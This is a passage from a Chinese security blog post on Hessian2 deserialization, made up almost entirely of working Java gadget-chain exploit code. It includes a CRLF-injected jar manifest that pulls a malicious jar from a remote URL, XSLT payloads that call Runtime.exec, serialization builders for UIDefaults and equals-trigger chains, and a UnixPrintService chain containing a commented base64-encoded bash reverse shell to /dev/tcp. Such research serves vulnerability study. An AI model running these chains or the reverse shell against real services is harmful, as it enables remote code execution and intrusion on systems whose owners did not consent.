byte[] jarCode = Files.readAllBytes(Paths.get("R:\\languages\\Java\\study\\Hessian2\\Hessian2\\src\\main\\java\\OnlyJDK\\evilFiles\\Evil.jar"));

// 写入文件,这里需要注意,目录需要多写一层,多的这层是后续创建的文件的名字,后缀为class和asm
// 后续修改 aimpath 即可
String aimPath = "R:\\languages\\Java\\study\\Hessian2\\Hessian2\\src\\main\\java\\OnlyJDK\\evilFiles\\Evil";
//Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute1("jdk.jfr.internal.Utils", "writeGeneratedASM", new Object[]{aimPath, jarCode});

// 写入的jar路径
String jarPath = aimPath+".class";
// 写入的class路径
String classPath =aimPath.substring (0, aimPath.length()-4);

// 写入后进行读取
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute3("sun.security.tools.keytool.Main","main",new Object[]{new String[]{"-genkeypair","-keypass","123456","-keystore","koishi","-storepass","123456","-providername","hackx","-providerclass","Evil","-providerpath",jarPath}});
}
}

⑥sun.tools.jar.Main.main + sun.security.tools.keytool.Main.main

和上面那个差不多,写入后进行读取。

sun.security.tools.keytool.Main.main 很熟悉了,就不做过多介绍了。

通过 sun.tools.jar.Main.main 生成jar文件,在填入参数时可进行 CRLF 注入,采用 cfe 模式,通过 e 指定 Main-Class 的时候定义 Class-Path 从而远程加载恶意 jar 达到 RCE。

Class-Path 指定jar包的依赖关系,class loader会依据这个路径来搜索class

再通过 sun.security.tools.keytool.Main.main 触发 Class-Path 加载 jar 包

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package OnlyJDK.ByUse_toString;

import OnlyJDK.Hessian2_OnlyJDK_Tool;

public class jar_Main_keytool_Main {
public static void main(String[] args) throws Exception{
String classname = "sun.tools.jar.Main";
String methodName = "main";
String winTestPath = "R:\\languages\\Java\\study\\Hessian2\\Hessian2\\src\\main\\java\\OnlyJDK\\evilFiles\\Koishi.jar";
String linuxAimPath = "/tmp/koishi.jar";
String testExistFile ="R:\\a\\hello.txt";
String linuxExistFile = "/etc/hosts";
String evilCRLFHTTP = "aaaa\nClass-Path: http://127.0.0.1:8088/Evil.jar";
Object[] evilargs = new Object[]{
new String[] { "cfe", winTestPath,evilCRLFHTTP,testExistFile }
};
// 写入Class-Path 内容
//Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute3(classname,methodName,evilargs);
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute3("sun.security.tools.keytool.Main","main",new Object[]{new String[]{"-genkeypair","-keypass","123456","-keystore","koishi","-storepass","123456","-providername","hackx","-providerclass","Evil","-providerpath",winTestPath}});
}
}

触发效果

这个利用方法我还是头一回见,但是还没细跟,我这里放一下一些操作导致的结果的截图

首先,会去 winTestPath 下创建一个指定jar包,内容包含我们传入的 testExistFile

image-20230225105746044

然后其 Main-Class 会被修改为 evilCRLFHTTP 的内容

image-20230225105828181

随后我们通过使用 sun.security.tools.keytool.Main 去读取这个jar包,他就会触发去加载我们写的 Class-Path 里面的jar文件,而这个jar文件就是我们上一个写好的jar包,里面包含Evil.class。能弹出计算器。

image-20230225110006619

⑦com.sun.org.apache.xalan.internal.xslt.Process._main

这个需要点前置知识

Xalan-J XSLT 整数截断漏洞利用构造(CVE-2022-34169) (seebug.org)

XLST Injection:

这个实质上就是利用了 CVE-2022-34169 这个漏洞点。

payload

1
2
3
4
5
6
7
8
9
10
11
12
package OnlyJDK.ByUse_toString;

import OnlyJDK.Hessian2_OnlyJDK_Tool;
import com.sun.org.apache.xalan.internal.xslt.Process;

public class xslt_Process_main {
public static void main(String[] args) throws Exception {
String evilFilePath = "http://127.0.0.1:8888/payload2.xslt";
//Process._main(new String[]{"-XSLTC", "-XSL", evilFilePath});
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute3("com.sun.org.apache.xalan.internal.xslt.Process","_main",new Object[]{new String[]{"-XSLTC", "-XSL", evilFilePath}});
}
}

几个可用exp

payload2.xslt

1
2
3
4
5
6
7
8
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>

payload3.xslt

1
2
3
4
5
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'calc')" xmlns:Runtime="java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>

有给xalan依赖的话,还可以尝试尝试

https://gist.github.com/thanatoskira/07dd6124f7d8197b48bc9e2ce900937f

–利用特定类的 equals 方法–

除了之前上面的toStirng,其实还能挖到直接通过 equals 去触发的payload

1
match path=(source:Method {NAME:"equals"})-[:CALL*1]->(m1:Method {NAME:"toString"}) return path

有以下几个。

1
2
3
4
5
com.sun.org.apache.xpath.internal.objects.XStringForFSB
com.sun.org.apache.xpath.internal.objects.XString
# dubbo 中该类已被禁用但是其它地方可用于代替上面两项
javax.sound.sampled.AudioFileFormat
javax.sound.sampled.AudioFormat

也可以考虑通过设置map 的俩node去触发equals方法。

或者依靠spring依赖。

简单分析

之前提到过,hessian2会去执行 hashmap 的 put 方法,随后就是 putval 方法,执行putval的时候会执行equals 键的 equals 方法,而我们设置为 UIDefaults ,其继承自 hashtable,又未重写 equals 方法,在hashtable又会触发其的get方法,这也就到了之前的链子的起始点了 UIDefaults.get 。

以简单的 JavaWrapper 为例,通过hashcode方法进行利用。

payload1

工具类写入方法

(这里以能执行任意jar下的class的 UIDefaults.ProxyLazyValue 为例,当被禁用时改为非万能方式)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void originalSerialize_Execute1(String className, String methodName, Object[] args) throws Exception{
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue(className, methodName, args);
// 反射修改 acc 的值为 null
Reflections.setFieldValue(proxyLazyValue, "acc", null);

UIDefaults uiDefaults = new UIDefaults();
UIDefaults uiDefaults2 = new UIDefaults();
uiDefaults.put("koishi", proxyLazyValue);
uiDefaults2.put("koishi", proxyLazyValue);
HashMap hashMap = Reflections.NoLocalExecuteMap(uiDefaults,uiDefaults2);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(bos);
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(hashMap);
oo.flush();

ByteArrayInputStream bai = new ByteArrayInputStream(bos.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(bai);
hessian2Input.readObject();
}

调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package OnlyJDK.ByUse_hashCode;

import OnlyJDK.Hessian2_OnlyJDK_Tool;
import OnlyJDK.evilFiles.Evil_main;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

// 这里以 JavaWrapper_mian 这个链子作为演示,这个能行其他就业同理修改修改即可
public class JavaWrapper_mian {
public static void main(String[] args) throws Exception {
JavaClass evil = Repository.lookupClass(Evil_main.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
Hessian2_OnlyJDK_Tool.originalSerialize_Execute1("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}});
}
}

payload2

当环境存在 spring 依赖时,可以使用 HotSwappableTargetSource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static void originalSerialize_Execute2(String className, String methodName, Object[] args) throws Exception{
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue(className, methodName, args);
// 反射修改 acc 的值为 null
Reflections.setFieldValue(proxyLazyValue, "acc", null);

UIDefaults uiDefaults = new UIDefaults();
UIDefaults uiDefaults2 = new UIDefaults();
uiDefaults.put("koishi", proxyLazyValue);
uiDefaults2.put("koishi", proxyLazyValue);

HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(uiDefaults2);
// 设置一个人畜无害内容
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource("koishi");

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(hotSwappableTargetSource1,hotSwappableTargetSource1);
hashMap.put(hotSwappableTargetSource2,hotSwappableTargetSource2);
// 反射修改回来
Reflections.setFieldValue(hotSwappableTargetSource2,"target",uiDefaults);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(bos);
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(hashMap);
oo.flush();

ByteArrayInputStream bai = new ByteArrayInputStream(bos.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(bai);
hessian2Input.readObject();
}

payload3

这里我尝试使用手动添加冲突的方式去触发equals方法,可能看上去和payload1相同,实质上也相同,只是这个更完善了。但是操作起来稍微麻烦一丢丢,因为 UIDefaults 本身就是一个 hashtable,反射去修改其值比较麻烦,然后外层嵌套了一个HashMap,然后又套了一个Hashtable,这几个都不好反射去修改。使用payload1通过反射的方式进行hash值的设置(之前好像有出现过此类场景,但是现在想来,还是这个方便),就与该payload相同了,如果校验本身比较简单且容易相等,可以不用这种方式。

我仿造反射构造 HashMap 写了一个构造 HashTable 的方法,这样在向最外面的Hashtable中填充时,就不会有本地触发的风险了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static Hashtable NoLocalExecuteTable(Object v1, Object v2) throws Exception {
Hashtable hashtable = new Hashtable();
Reflections.setFieldValue(hashtable, "count", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.Hashtable$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.Hashtable$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(hashtable, "table", tbl);
return hashtable;
}

通过这种方式,我们可以构造一个不会本地触发的 hashtable

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void originalSerialize_Execute3(String className, String methodName, Object[] args) throws Exception{
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue(className, methodName, args);
// 反射修改 acc 的值为 null
Reflections.setFieldValue(proxyLazyValue, "acc", null);

UIDefaults uiDefaults = new UIDefaults();
UIDefaults uiDefaults2 = new UIDefaults();
uiDefaults.put("koishi", proxyLazyValue);
uiDefaults2.put("koishi", proxyLazyValue);

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",uiDefaults);
map1.put("zZ",uiDefaults2);
map2.put("zZ",uiDefaults);
map2.put("yy",uiDefaults2);
Hashtable hashtable= Reflections.NoLocalExecuteTable(map1,map2);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(bos);
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(hashtable);
oo.flush();
System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray()));
ByteArrayInputStream bai = new ByteArrayInputStream(bos.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(bai);
hessian2Input.readObject();
}

这个实际上本质上是 payload1,这里的两个hashMap省去,创建hashtable的方法变为:

1
Hashtable hashtable= Reflections.NoLocalExecuteTable(uiDefaults,uiDefaults2);

这样就与payload1相同了,但是假如payload1中的两个类的hashcode方法返回的值不同,就没法触发payload,所以这个方式虽然多了几步,但是能保证类的hash判断通过。

payload4

在 Hessian2 的情况下,没有黑名单,以下四个类均可使用

1
2
3
4
5
com.sun.org.apache.xpath.internal.objects.XStringForFSB
com.sun.org.apache.xpath.internal.objects.XString
# dubbo 中该类已被禁用但是其它地方可用于代替上面两项
javax.sound.sampled.AudioFileFormat
javax.sound.sampled.AudioFormat

通过这些可以去触发 equals 方法,最后可以触发对应部分的toString方法,可以配合上之前的两个 toString 类。

这里我就使用上面的手动设置冲突的方式去触发equals方法了。(用直接创hashMap的方式,可能在hash校验时不通过,还得反射区进行修改,然后第二个需要spring依赖,于是选用第三个了。)

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public static void originalSerialize_Execute4(String className, String methodName, Object[] args,int payloadChoose) throws Exception{
Object ml =AnyStaticMethodExec3(className,methodName,args);
Object o = null;
switch (payloadChoose){
case 1:
o = new XString("koishi");
break;
case 2:
o = new XStringForFSB(new FastStringBuffer(),0,0);
break;
case 3:
o = Reflections.createWithoutConstructor(AudioFileFormat.Type.class);

break;
case 4:
o = Reflections.createWithoutConstructor(AudioFormat.Encoding.class);
break;
default:
o = new XString("koishi");
}
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",o);
map1.put("zZ",ml);
map2.put("zZ",o);
map2.put("yy",ml);
Hashtable hashtable= Reflections.NoLocalExecuteTable(map1,map2);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(bos);
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(hashtable);
oo.flush();
System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray()));
ByteArrayInputStream bai = new ByteArrayInputStream(bos.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(bai);
hessian2Input.readObject();
}

🚩特定情况下命令执行 – UnixPrintService

参考:初探UnixPrintService | Prove yourself (aecous.github.io)

使用tabby对CVE-2022-39198的挖掘尝试

利用 sun.print.UnixPrintService 可直接执行命令。

这个类有诸多 get 方法,通过拼接字符串的方式执行系统命令(因为UnixPrintService中存在多个getter,所以命令会执行多次)。

img

也是非常直观,可以直接利用。但只可惜这个类在高版本被移除,并仅支持 Unix/类Unix 操作系统(如Linux)。

总体看下来其实这个方法还是较为鸡肋的:

【缺点1】未实现序列化接口,目前只能在 hessian2 这个特殊的反序列化玩意里面用。(个人感觉最大缺点)

【缺点2】高版本java已移除

【缺点3】需要不存在CUPS服务,而许多linux 如 ubuntu 默认开启(docker中不存在,可以通过访问http://127.0.0.1:631/看看是否开启)。

感觉限制比较大,就不做具体分析了,只要满足版本条件,再去找一个 getter trigger 就行了。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package OnlyJDK.ByUse_UnixPrintServiceLookup;

import OnlyJDK.Hessian2_OnlyJDK_Tool;
import Tool.Reflections;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xml.internal.utils.FastStringBuffer;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import sun.print.UnixPrintServiceLookup;

import javax.sound.sampled.AudioFileFormat;
import javax.sound.sampled.AudioFormat;
import java.util.HashMap;

public class use_UnixPrintServiceLookup {
public static void main(String[] args) throws Exception {
UnixPrintServiceLookup unixPrintServiceLookup = Reflections.createWithoutConstructor(UnixPrintServiceLookup.class);
Reflections.setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
Reflections.setFieldValue(unixPrintServiceLookup, "osname", "Ko1sh1");
// String cmd = ";bash -c '{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4L3h4eDwmMQo=}|{base64,-d}|{bash,-i}'";
String cmd = "mousepad";
Reflections.setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});

JSONObject jsonObject = new JSONObject();
jsonObject.put("Ko1sh1",unixPrintServiceLookup);

int choice = 4;
Object trigger = null;
switch (choice){
case 1:
trigger = new XString("Ko1sh1");
break;
case 2:
trigger = new XStringForFSB(new FastStringBuffer(),0,0);
break;
case 3:
trigger = Reflections.createWithoutConstructor(AudioFileFormat.Type.class);
break;
case 4:
trigger = Reflections.createWithoutConstructor(AudioFormat.Encoding.class);
break;
}

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",jsonObject);
map1.put("zZ",trigger);
map2.put("yy",trigger);
map2.put("zZ",jsonObject);

Object o = Reflections.NoLocalExecuteMap(map1,map2);
Hessian2_OnlyJDK_Tool.evilGenerate(o);
}
}
  • 标题: Hessian2 反序列化
  • 作者: Ko1sh1
  • 创建于 : 2023-05-20 05:18:02
  • 更新于 : 2024-05-30 21:38:43
  • 链接: https://ko1sh1.github.io/2023/05/20/blog_hessian2 反序列化/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论